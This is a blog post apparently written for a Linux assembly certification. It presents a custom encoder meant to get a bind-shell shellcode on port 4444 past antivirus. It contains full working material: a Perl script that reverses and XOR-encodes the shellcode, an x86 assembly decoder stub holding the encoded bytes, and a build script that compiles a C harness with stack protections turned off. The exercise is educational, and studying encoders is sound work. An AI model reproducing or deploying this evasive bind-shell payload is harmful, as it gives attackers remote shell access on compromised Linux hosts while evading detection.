SLAE32 Challenge #4 - Linux shellcode encryption in Assembly

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-644

GitHub resource containing challenge files:

https://github.com/bl305/SLAE32

Local link to source files:

http://itfanatic.com/files/Challenge_04_Final.ZIP


Task was to create a custom encoder to be able to bypass antivirus using a stack based shellcode. I chose to use the bind shellcode created in challenge #1.

My custom encrypter works as the followings:

  • reads the first and last byte of the code and exchanges the two
  • encrypts the new code using the pre-specified byte as XOR encoder
  • that's it. Easy enough?

First I have created a Perl script, that generates the encrypted shellcode for the Assembly tool. My script is much more than necessary, as I like to create things like this. I'll only use the last output (reversed XOR) of the script, but plan to do the encoder for my mixed-mode encryptor as well.

 

Perl script generating the code:

#!/usr/bin/perl
print "#############################################################################\n";
print "This tool will read the bytecode, replace the values starting from the edges.\n";
print "It will also add a nop sled to the end if the number of bytes is odd.\n";
print "e.g: code: ABCDE -> ABCDE0 -> 0EDCBA\n";
print "#############################################################################\n";
 
#bind shellcode on 4444
$code="\x31\xc0\xb0\x66\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x31\xd2\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x53\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x93\x59\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
 
#test
#$code="\x41\x42\x43\x44"; #ABCD->DCBA
 
$secret="\x26"; #code to use as hexa encryption key
$issue=0;
$issue2=0;
#put the hex representation in $codeh
$codeh=unpack("H*",$code);
$codelen=length($code);
print "[+] Hexa code:\n".$codeh."\n";
print "Hexa length    : ".$codelen."\n";
 
#print out the code using /x
$hexor_print="";
for ($i1=0;$i1<$codelen;$i1++)
{
	$encoded=unpack("H*",substr($code,$i1,1));
	$hexor_print=$hexor_print.",0x".$encoded;
	if ($encoded eq "00") {$issue="[!] WARNING: code contains \"0x00\"...likely cannot be executed as shellcode...do something!!!";print $issue."\n";exit(1);};
	if ($encoded eq "bb") {$issue="[!] WARNING: code contains \"0xbb\"...likely cannot be executed as shellcode...do something!!!";print $issue."\n";exit(1);};
}
print "\n[+] Original shellcode:\n".$hexor_print."\n";
 
print "___________________________________\n";
 
#put the hex representation in $secreth
$secreth=unpack("H*",$secret);
$secretlen=length($secret);
print "Secret         : 0x".$secreth."\n";
print "Secret lenght  : ".$secretlen."\n";
print "___________________________________\n";
#determine if length of code can be divided by 2 or nor
#if not, r1 will be <>0
$len1=$codelen / 2;
$rem1=$codelen % 2;
 
#if length is not dividable by 2, we will add a nop sled at the end
print "Old Length : ".$codelen."\n";
print "Divided    : ".$len1."\n";
print "Remainder  : ".$rem1."\n";
 
if ($rem1 ne 0) {$codeh=$codeh."90"};
$code=pack("H*",$codeh);
$codelen=length($code);
print "New Length : ".$codelen."\n";
print "Added $rem1 nop: 0x90\n";
print "[+] Extended:\n".$codeh."\n";
print "___________________________________\n";
 
print "\n";
$newcode="";
#do the mixing and reversing of chars. 
#mixing: read first,last, put them beside each other. Result e.g: code: ABCDE0 -> 0AEBDC
#reversing: read first, last and exchange them. Result e.g.: ABCDE0 -> 0EDCBA
#print "Changes:\n";
@codearray[$codelen];
for ($i1=0;$i1<$len1;$i1++)
{
	$first=substr($codeh,$i1*2,2);
	$last=substr($codeh,($codelen-1-$i1)*2,2);
	$newcode=$newcode.$last.$first; #mixing
	@codearray[$i1]=$last; #revesing 1
	@codearray[$codelen-1-$i1]=$first; #reversing 2
#	print $i1.":".$first." <-> ".($codelen-1-$i1).":".$last."\n";
}
#print out the code as raw hexa
print "[+] Raw crazymixed code:\n".$newcode."\n";
 
#print out the code using /x
$hexor_print="";
$issue=0;
for ($i1=0;$i1<$codelen;$i1++)
{
	$encoded=substr($newcode,$i1*2,2);
	$hexor_print=$hexor_print.",0x".$encoded;
	if ($encoded eq "00") {$issue=1;$issue2=1;};
	if ($encoded eq "bb") {$issue=2;$issue2=1;};
	if ($encoded eq "61") {$issue=3;$issue2=1;};
	if ($encoded eq "a0") {$issue=4;$issue2=1;};
	if ($encoded eq "c6") {$issue=5;$issue2=1;};
}
if ($issue eq "1") {print "[!] WARNING: MIXED code contains \"0x00\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "2") {print "[!] WARNING: MIXED code contains \"0xbb\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "3") {print "[!] WARNING: MIXED code contains \"0x61\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "4") {print "[!] WARNING: MIXED code contains \"0xa0\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "5") {print "[!] WARNING: MIXED code contains \"0xc6\"...likely cannot be executed as shellcode...do something!!!\n";}
 
print "\n[+] Crazymixed shellcode:\n".$hexor_print."\n";
print "\nCodelength: $codelen\n\n";
 
#encrypt using XOR
$hexor_print="";
$hexor="";
$issue=0;
for ($i=0;$i<$codelen;$i++)
{
	$encoded=unpack('H*',substr($code,$i,1)^$secret);	
	$hexor=$hexor.$encoded;
	$hexor_print=$hexor_print.",0x".$encoded;
	if ($encoded eq "00") {$issue=1;$issue2=1;};
	if ($encoded eq "bb") {$issue=2;$issue2=1;};
	if ($encoded eq "61") {$issue=3;$issue2=1;};
	if ($encoded eq "a0") {$issue=4;$issue2=1;};
	if ($encoded eq "c6") {$issue=5;$issue2=1;};
}
if ($issue eq "1") {print "[!] WARNING: XOR code contains \"0x00\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "2") {print "[!] WARNING: XOR code contains \"0xbb\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "3") {print "[!] WARNING: XOR code contains \"0x61\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "4") {print "[!] WARNING: XOR code contains \"0xa0\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "5") {print "[!] WARNING: XOR code contains \"0xc6\"...likely cannot be executed as shellcode...do something!!!\n";}
 
print "[+] XOR encrypted crazymixed raw:\n".$hexor."\n";
print "\n[+] XOR encrypted crazymixed shellcode\n".$hexor_print."\n";
print "\nCodelength: $codelen\n\n";
 
 
print "[+] Reversed code:\n";
foreach $i (@codearray)
{
	print $i;
}
print "\n";
 
print "\n[+] Reversed shellcode:\n";
$codelen1=0;
foreach $i (@codearray)
{
	$codelen1++;
	print ",0x".$i;
}
print "\n";
print "\nCodelength: $codelen1\n\n";
 
 
#encrypt using XOR
print "\n";
$hexor_print="";
$hexor="";
$codelen1=0;
$issue=0;
foreach $x1 (@codearray)
{
		$codelen1++;
		$encoded=unpack("H*",pack("H*",$x1)^$secret);
		$hexor=$hexor.$encoded;
		$hexor_print=$hexor_print.",0x".$encoded;
		if ($encoded eq "00") {$issue=1;$issue2=1;};
		if ($encoded eq "bb") {$issue=2;$issue2=1;};
		if ($encoded eq "61") {$issue=3;$issue2=1;};
		if ($encoded eq "a0") {$issue=4;$issue2=1;};
		if ($encoded eq "c6") {$issue=5;$issue2=1;};
}
if ($issue eq "1") {print "[!] WARNING: XOR code contains \"0x00\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "2") {print "[!] WARNING: XOR code contains \"0xbb\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "3") {print "[!] WARNING: XOR code contains \"0x61\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "4") {print "[!] WARNING: XOR code contains \"0xa0\"...likely cannot be executed as shellcode...do something!!!\n";}
if ($issue eq "5") {print "[!] WARNING: XOR code contains \"0xc6\"...likely cannot be executed as shellcode...do something!!!\n";}
 
print "[+] XOR encrypted reversed raw:\n".$hexor."\n";
print "\n[+] XOR encrypted reversed shellcode\n".$hexor_print."\n";
print "\nCodelength: ".$codelen1."\n\n";
 
 
print "#############################################################################\n";
if ($issue ne "0") {print "\n[!] Exit: Issues were found, check above!\n";}
else {print "\n[+] Exit: No issues!\n";}
print "Issue: $issue";
exit(1);

 

Assembly code doing the decryption and execution:

global _start   
 
section .text
_start:
 
 jmp short call_shellcode
 
decoder:
 pop esi	;pointer to shellcode
 push esi	;save pointer for later use
 
 xor eax, eax	;clear first, XOR-operand register
 xor ebx, ebx	;clear first, XOR-operand register
 xor ecx, ecx	;clear first, XOR-operand register
 xor edx, edx	;clear first, XOR-operand register
 
 mov cl,len	;set ECX counter to length of code, this will be decreased by one by "loop" command
 mov edx,ecx	;save length of code into edx
 dec edx	;adjust for the loop (-1)
 shr ecx,1	;divide ecx by 2^1, so counter will not step over the half of the code
 
myloop:
 mov al, byte [esi]		;get first byte from the encoded shellcode ; maybe xchg is better
 xor al,0x26
 mov ah, byte [esi+edx]		;get last  byte from the encoded shellcode ; maybe xchg is better
 xor ah,0x26
 mov byte [esi], ah		;put first byte to the last position in shellcode
 mov byte [esi+edx], al		;put last byte to the first position in shellcode
 sub edx,2			;decrease the pointer to the last byte by 2
 inc esi			;increase starting pointer
 
 loop myloop		;repeat and decrease ecx by 1
 
 jmp short Shellcode
 
call_shellcode:
 
 call decoder
;shellcode is bind on port 4444
 Shellcode: db 0xa6,0xeb,0x2d,0x96,0xc4,0xaf,0x76,0xc7,0xaf,0x76,0xc5,0xaf,0x48,0x4f,0x44,0x09,0x4e,0x4e,0x55,0x09,0x09,0x4e,0x76,0xe6,0x17,0xdf,0x5f,0x6f,0xa6,0xeb,0x19,0x96,0x24,0x97,0x7f,0xb5,0xa6,0xeb,0xc7,0xaf,0x70,0x74,0x74,0x23,0x95,0x40,0x96,0xa6,0xeb,0xc7,0xaf,0x70,0x75,0x22,0x95,0x40,0x96,0xa6,0xeb,0xc7,0xaf,0x70,0x77,0x36,0x4c,0xc7,0xaf,0x75,0x40,0x7a,0x37,0x4e,0x40,0x74,0xf4,0x17,0x7d,0x40,0x96,0xe0,0xaf,0xa6,0xeb,0xc7,0xaf,0x24,0x4c,0x75,0x65,0x75,0xfd,0x17,0x40,0x96,0xe6,0x17
 len:    equ $-Shellcode

 

Compiler generated to automate the process of compiling:

#!/bin/bash
 
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm
 
echo '[+] Linking ...'
ld -o $1 $1.o
 
echo '[+] Objdump ...'
mycode=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'`
 
echo '[+] Assemble shellcode C ...'
 
echo "#include<stdio.h>" >shellcode.c
echo "#include<string.h>" >>shellcode.c
echo "unsigned char code[] = \\" >>shellcode.c
echo $mycode";" >>shellcode.c
echo "main()" >>shellcode.c
echo "{" >>shellcode.c
echo "printf(\"Shellcode Length:  %d\n\", strlen(code));" >>shellcode.c
echo "  int (*ret)() = (int(*)())code;" >>shellcode.c
echo "  ret();" >>shellcode.c
echo "}" >>shellcode.c
 
echo '[+] Compile shellcode.c'
 
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
 
echo '[+] Done!' 

 

A little text file containing the commands used to analyze the assembly code in debugger:

./compile.sh ch04
 
gdb ./shellcode
set disassembly-flavor intel
break main
run
break *&code
continue
display /x $edi
display /x $esi
display /x $eip
display /x $edx
display /x $ecx
display /x $ebx
display /x $eax
display /x $al
display /x $ah
define hook-stop
disassemble $eip,+10
x/96xb $esi
end
stepi

Below is how the debugging looks like before reversing the bytes of the code:

ITFanatic.com

Below is how the debugging looks like after reversing the bytes of the code:

ITFanatic.com

Below is how the debugging looks like after XOR decrypting the reversed bytes of the code:

ITFanatic.com

Below is how the disassebly of the decrypted code looks like:

ITFanatic.com

ITFanatic.com

ITFanatic.com

Below is how the execution of the code looks like:

ITFanatic.com